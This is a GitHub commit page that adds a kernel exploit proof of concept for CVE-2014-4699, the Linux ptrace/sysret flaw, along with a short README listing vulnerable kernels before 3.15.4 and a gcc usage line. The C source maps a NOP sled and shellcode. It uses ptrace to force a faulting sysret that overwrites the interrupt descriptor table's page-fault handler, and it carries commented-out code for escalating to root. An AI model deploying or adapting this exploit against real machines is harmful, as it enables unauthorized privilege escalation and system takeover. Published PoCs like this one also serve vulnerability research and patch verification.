Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 02a878c

Browse files
1 parent efe51a9 commit 02a878c

File tree

2 files changed

+148
-0
lines changed

2 files changed

+148
-0
lines changed

‎CVE-2014-4699/34134.c‎

Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
/**
2+
* CVE-2014-4699 ptrace/sysret PoC
3+
* by Vitaly Nikolenko
4+
* vnik@hashcrack.org
5+
*
6+
* > gcc -O2 poc_v0.c
7+
*
8+
* This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the
9+
* following will trigger the #GP in sysret and overwrite the #PF handler so we
10+
* can land to our NOP sled mapped at 0x80000000.
11+
* However, once landed, the IDT will be trashed. We can either attempt to
12+
* restore it (then escalate privileges and execute our shellcode) or find
13+
* something else to overwrite that would transfer exec flow to our controlled
14+
* user-space address. Since 3.10.something, IDT is read-only anyway. If you
15+
* have any ideas, let me know.
16+
*/
17+
18+
#include <stdio.h>
19+
#include <stdint.h>
20+
#include <assert.h>
21+
#include <sys/ptrace.h>
22+
#include <sys/types.h>
23+
#include <sys/wait.h>
24+
#include <sys/syscall.h>
25+
#include <sys/user.h>
26+
#include <unistd.h>
27+
#include <sys/mman.h>
28+
#include <errno.h>
29+
30+
#define SIZE 0x10000000
31+
32+
typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred);
33+
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred);
34+
35+
unsigned long __user_cs;
36+
unsigned long __user_ss;
37+
unsigned long __user_rflags;
38+
39+
void __attribute__((regparm(3))) payload() {
40+
uint32_t *fixptr = (void*)0xffffffff81dd70e8;
41+
// restore the #PF handler
42+
*fixptr = -1;
43+
//commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630;
44+
//prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0;
45+
//commit_creds(prepare_kernel_cred((uint64_t)NULL));
46+
47+
//__asm__ volatile ("swapgs\n\t"
48+
// "...");
49+
}
50+
51+
int main() {
52+
struct user_regs_struct regs;
53+
uint8_t *trampoline, *tmp;
54+
int status;
55+
56+
struct {
57+
uint16_t limit;
58+
uint64_t addr;
59+
} __attribute__((packed)) idt;
60+
61+
// MAP_POPULATE so we don't trigger extra #PF
62+
trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0);
63+
assert(trampoline == 0x80000000);
64+
memset(trampoline, 0x90, SIZE);
65+
tmp = trampoline;
66+
tmp += SIZE-1024;
67+
memcpy(tmp, &payload, 1024);
68+
memcpy(tmp-13,"\x0f\x01\xf8\xe85円0円0円0円\x0f\x01\xf8\x48\xcf", 13);
69+
70+
pid_t chld;
71+
72+
if ((chld = fork()) < 0) {
73+
perror("fork");
74+
exit(1);
75+
}
76+
77+
if (chld == 0) {
78+
if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
79+
perror("PTRACE_TRACEME");
80+
exit(1);
81+
}
82+
raise(SIGSTOP);
83+
fork();
84+
return 0;
85+
}
86+
87+
asm volatile("sidt %0" : "=m" (idt));
88+
printf("IDT addr = 0x%lx\n", idt.addr);
89+
90+
waitpid(chld, &status, 0);
91+
92+
ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
93+
94+
ptrace(PTRACE_CONT, chld, 0, 0);
95+
96+
waitpid(chld, &status, 0);
97+
98+
ptrace(PTRACE_GETREGS, chld, NULL, &regs);
99+
regs.rdi = 0x0000000000000000;
100+
regs.rip = 0x8fffffffffffffff;
101+
regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78;
102+
103+
// attempt to restore the IDT
104+
regs.rdi = 0x0000000000000000;
105+
regs.rsi = 0x81658e000010cbd0;
106+
regs.rdx = 0x00000000ffffffff;
107+
regs.rcx = 0x81658e000010cba0;
108+
regs.rax = 0x00000000ffffffff;
109+
regs.r8 = 0x81658e010010cb00;
110+
regs.r9 = 0x00000000ffffffff;
111+
regs.r10 = 0x81668e0000106b10;
112+
regs.r11 = 0x00000000ffffffff;
113+
regs.rbx = 0x81668e0000106ac0;
114+
regs.rbp = 0x00000000ffffffff;
115+
regs.r12 = 0x81668e0000106ac0;
116+
regs.r13 = 0x00000000ffffffff;
117+
regs.r14 = 0x81668e0200106a90;
118+
regs.r15 = 0x00000000ffffffff;
119+
120+
ptrace(PTRACE_SETREGS, chld, NULL, &regs);
121+
122+
ptrace(PTRACE_CONT, chld, 0, 0);
123+
124+
ptrace(PTRACE_DETACH, chld, 0, 0);
125+
}

‎CVE-2014-4699/README.md‎

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# CVE-2014-4699
2+
3+
CVE-2014-4699
4+
5+
Vulnerability reference:
6+
* [CVE-2014-4699](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4699)
7+
* [exp-db](https://www.exploit-db.com/exploits/34134/)
8+
9+
## Kernels
10+
```
11+
before 3.15.4
12+
```
13+
14+
## Usage
15+
```
16+
$ gcc -O2 poc_v0.c
17+
18+
```
19+
20+
21+
22+
23+

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /